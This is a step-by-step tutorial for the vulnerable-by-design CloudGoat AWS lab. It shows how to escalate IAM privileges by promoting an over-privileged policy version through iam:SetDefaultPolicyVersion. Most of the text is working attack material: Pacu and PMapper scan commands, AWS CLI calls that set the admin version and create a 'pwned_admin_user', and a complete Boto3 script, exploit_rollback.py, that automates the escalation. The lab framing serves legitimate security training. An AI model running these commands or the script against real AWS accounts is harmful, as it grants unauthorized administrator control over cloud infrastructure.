Step-by-step hands-on tutorial on deploying CloudGoat IAM labs, running Pacu 1.7.0 and PMapper scanners, exploiting policy version rollbacks, and writing custom Boto3 Python exploit harnesses
AWS CLI v2, Python 3.11+, Terraform, basic understanding of IAM policies.
Pacu 1.7.0, PMapper, AWS CLI v2, Boto3, CloudGoat.
Welcome to the hands-on companion tutorial to our masterclass on AWS IAM Privilege Escalation. In this step-by-step tutorial, you will build a local vulnerability testing harness using CloudGoat, run automated privilege escalation scans using Pacu 1.7.0 and Principal Mapper (PMapper), develop custom Python Boto3 exploit harnesses, and analyze live AWS CloudTrail telemetry.
By completing this tutorial, you will be able to:
SetDefaultPolicyVersion) and serverless PassRole injection vectors step-by-step.aws configure).boto3, pacu, principalmapper, and virtualenv installed.# Create dedicated workspace
mkdir -p ~/aws-privesc-lab && cd ~/aws-privesc-lab
# Setup virtual environment
python3 -m venv venv
source venv/bin/activate
# Install required tools
pip install boto3 pacu principalmapper
Rhino Security Labs provides CloudGoat, an open-source vulnerable-by-design AWS deployment tool.
# Clone and setup CloudGoat
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip install -r requirements.txt
./cloudgoat.py config profile
# Deploy the iam_privesc_by_rollback scenario
./cloudgoat.py create iam_privesc_by_rollback
[+] Scenario iam_privesc_by_rollback successfully deployed!
[+] Starting IAM User Access Key ID: AKIAIOSFODNN7EXAMPLE
[+] Starting IAM User Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[+] Starting User Name: raynor-cgid123456
With credentials in hand, we launch Pacu to inspect our starting identity's permissions and scan for potential attack paths.
# Launch Pacu session
pacu
# Inside Pacu prompt:
Pacu > set_keys
# Paste Access Key ID and Secret Key when prompted
# Confirm identity
Pacu > whoami
# Enumerate IAM permissions
Pacu > run iam__enum_permissions
# Execute privilege escalation scan
Pacu > run iam__privesc_scan --scan-only
Pacu evaluates the attached managed policies and flags the following vector:
[+] CONFIRMED VECTORS:
- SetExistingDefaultPolicyVersion (iam:SetDefaultPolicyVersion)
Explanation: The current identity has iam:SetDefaultPolicyVersion permission and
the attached policy has non-default versions with higher privileges.
Never rely solely on automated tool output. Validate the attack path using the AWS CLI.
aws iam list-policy-versions \
--policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy \
--profile cloudgoat
{
"Versions": [
{"VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2026-09-24T10:00:00Z"},
{"VersionId": "v2", "IsDefaultVersion": false, "CreateDate": "2026-09-24T09:30:00Z"},
{"VersionId": "v3", "IsDefaultVersion": false, "CreateDate": "2026-09-24T09:00:00Z"}
]
}
aws iam get-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy \
--version-id v3 \
--profile cloudgoat
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
}
}
v3 contains full administrative rights (Action: "*", Resource: "*").
aws iam set-default-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy \
--version-id v3 \
--profile cloudgoat
aws iam create-user --user-name pwned_admin_user --profile cloudgoat
The command succeeds without an AccessDenied error. Privileges have been successfully escalated to Administrator!
To automate this attack chain in future engagements, build a Python Boto3 script.
Create exploit_rollback.py:
#!/usr/bin/env python3
import boto3
import sys
def exploit_iam_rollback(profile_name, target_user):
session = boto3.Session(profile_name=profile_name)
iam = session.client('iam')
print(f"[*] Fetching attached user policies for target identity...")
user_policies = iam.list_attached_user_policies(UserName=target_user)
for policy in user_policies.get('AttachedPolicies', []):
policy_arn = policy['PolicyArn']
print(f"[*] Checking versions for policy: {policy_arn}")
versions = iam.list_policy_versions(PolicyArn=policy_arn)['Versions']
for v in versions:
if not v['IsDefaultVersion']:
version_doc = iam.get_policy_version(
PolicyArn=policy_arn,
VersionId=v['VersionId']
)['PolicyVersion']['Document']
# Check for Administrator access in statement
for stmt in version_doc.get('Statement', []):
if stmt.get('Action') == '*' or '*' in stmt.get('Action', []):
print(f"[!] FOUND ADMIN VERSION: {v['VersionId']} in {policy_arn}")
print(f"[*] Promoting {v['VersionId']} to default...")
iam.set_default_policy_version(
PolicyArn=policy_arn,
VersionId=v['VersionId']
)
print("[+] Privilege escalation successful! Current user is now Administrator.")
return True
print("[-] No admin policy versions found.")
return False
if __name__ == '__main__':
if len(sys.argv) < 3:
print("Usage: python exploit_rollback.py <aws_profile> <username>")
sys.exit(1)
exploit_iam_rollback(sys.argv[1], sys.argv[2])
Run the harness:
python3 exploit_rollback.py cloudgoat raynor-cgid123456
Next, use Principal Mapper to discover complex multi-hop escalation paths.
# Create IAM graph
pmapper --profile cloudgoat graph create
# Query who can reach AdministratorAccess
pmapper --profile cloudgoat query "who can do *"
# Print directed path
pmapper --profile cloudgoat query "preset privesc *"
(User: raynor-cgid123456)
──[ iam:SetDefaultPolicyVersion ]──►
(Policy: cg-raynor-policy:v3)
──[ Action: * ]──►
(AWS Account Admin)
v1)aws iam set-default-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy \
--version-id v1 \
--profile cloudgoat
./cloudgoat.py destroy iam_privesc_by_rollback
Share this tutorial
Sign in to leave a comment.